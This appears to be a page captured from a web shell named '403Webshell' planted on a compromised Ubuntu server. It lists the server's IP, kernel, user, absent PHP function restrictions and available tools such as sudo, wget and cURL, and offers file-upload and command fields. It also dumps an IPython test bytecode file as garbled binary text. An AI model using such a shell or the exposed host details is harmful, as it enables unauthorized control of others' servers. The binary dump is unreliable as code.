403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.52
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/IPython/utils/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/IPython/utils/tests/__pycache__/test_tokenutil.cpython-312.pyc
�

}�eN����dZddlZddlmZmZd�Zd�Zd�Zd�Zd�Z	d	�Z
d
�Zd�Zejjdeeed
d��eedd��zdgdzdgdzz��d��Zy)zTests for tokenutil�N)�token_at_cursor�line_at_cursorc���t||�}d}|j�D]&}|t|�z|k\rn|t|�dzz
}�(||z
}d|�d||d��}||k(sJd||||fz��y)Nr��|z#Expected %r, got %r in: %r (pos %i))r�
splitlines�len)�expected�cell�
cursor_pos�token�offset�line�column�line_with_cursors        �D/usr/lib/python3/dist-packages/IPython/utils/tests/test_tokenutil.py�expect_tokenr	s����D�*�-�E�
�F����!�"���C��I���+���c�$�i��k�!�F�	"�
�&�
 �F�"&�w��-��f�g��?���H���C��
���	G����c�T�d}tt|��D]}td||��y)N�foo)�ranger	r)r�is  r�test_simplers+���D�
�3�t�9�
�%���U�D�!�$�%rc�V�d}d}t|jd�dz�D]}td||��|jd�dz|jd�dzfD]}td||��t|jd�|jd��D]}td||��y)Nzfoo(a=5, b='10')r�a=r�=�,zb=)r�findr�rfind)rr
rs   r�
test_functionr  s����D��H�
�4�9�9�T�?�Q�&�
'�%���U�D�!�$�%��i�i��n�q� �$�*�*�S�/�A�"5�
6�%���U�D�!�$�%��4�9�9�S�>�4�9�9�T�?�
3�%���U�D�!�$�%rc�*�djddg�}d}|j|�dz}t||t|�z�D]}t	|||��d}|j|�dz}t||t|�z�D]}t	|||��y)N�
za = 5�b = hello("string", there)�hellor��join�indexrr	r�rr
�startrs    r�test_multiliner*-s����9�9��$���D��H��J�J�x� �1�$�E�
�5�%�#�h�-�/�
0�(���X�t�Q�'�(��H��J�J�x� �1�$�E�
�5�%�#�h�-�/�
0�(���X�t�Q�'�(rc�*�djgd��}d}|j|�dz}t||t|�z�D]}t	|||��d}|j|�dz}t||t|�z�D]}t	|||��y)Nr")z"""

xxxxxxxxxx

"""z5, """�	docstringzmultiline tokenz""", [z2, 3, "complicated"]r#r$rr%r(s    r�test_multiline_tokenr-;s����9�9���D��H��J�J�x� �1�$�E�
�5�%�#�h�-�/�
0�(���X�t�Q�'�(��H��J�J�x� �1�$�E�
�5�%�#�h�-�/�
0�(���X�t�Q�'�(rc�^�d}d}|jd�dz}t||dz�D]}t|||��d}|jd�}t||dz�D]}t|||��d}|jd�dz}t|t|�dz
�D]}t|||��y)Nzfoo(bar(a=5), b=10)r�barr�r�))r'rrr	r(s    r�test_nested_callr2Ns��� �D��H��J�J�u���!�E�
�5�%�!�)�
$�(���X�t�Q�'�(��H��J�J�t��E�
�5�%�!�)�
$�(���X�t�Q�'�(��H��J�J�s�O�a��E�
�5�#�d�)�A�+�
&�(���X�t�Q�'�(rc�^�d}d}|jd�dz}t||dz�D]}t|||��|jd�dz}d}t||dz�D]}t|||��|jd	�dz}d
}t|t|��D]}t|||��y)Nza = obj.attr.subattr�objrr0z.attr�zobj.attr�z.subattrzobj.attr.subattr)rrrr	)rr
�idxrs    r�
test_attrsr8]s���!�D��H�
�)�)�E�
�Q�
�C�
�3��a��
 �(���X�t�Q�'�(�
�)�)�G�
�q�
 �C��H�
�3��a��
 �(���X�t�Q�'�(�
�)�)�J�
�!�
#�C�!�H�
�3��D�	�
"�(���X�t�Q�'�(rc���d}t|d��\}}|dk(sJ�|dk(sJ�d}t|d��\}}|dk(sJ�|dk(sJ�d}t|d	��\}}|d
k(sJ�|dk(sJ�y)N��)rrzOne
Two
r6zTwo
zpri
pri��pri)r)rrrs   r�test_line_at_cursorr>ls���
�D�#�D�R�8�N�T�6��2�:��:��Q�;��;��D�#�D�Q�7�N�T�6��7�?��?��Q�;��;��D�#�D�Q�7�N�T�6��5�=��=��Q�;��;rzc, token����int��mapc�"�d}t|||�y)Nza = (1,
    3)

int()
map()
)r)�cr
rs   r�test_multiline_statementrGs���D����a� r)�__doc__�pytest�IPython.utils.tokenutilrrrrr r*r-r2r8r>�mark�parametrize�zip�listrrG�rr�<module>rPs�����C��$%�
%�(�(�&
(�
(��&��������U�2�r�]��d�5��R�=�1�1�	��7��u�g��1�1���!��!r

Youez - 2016 - github.com/yon3zu
LinuXploit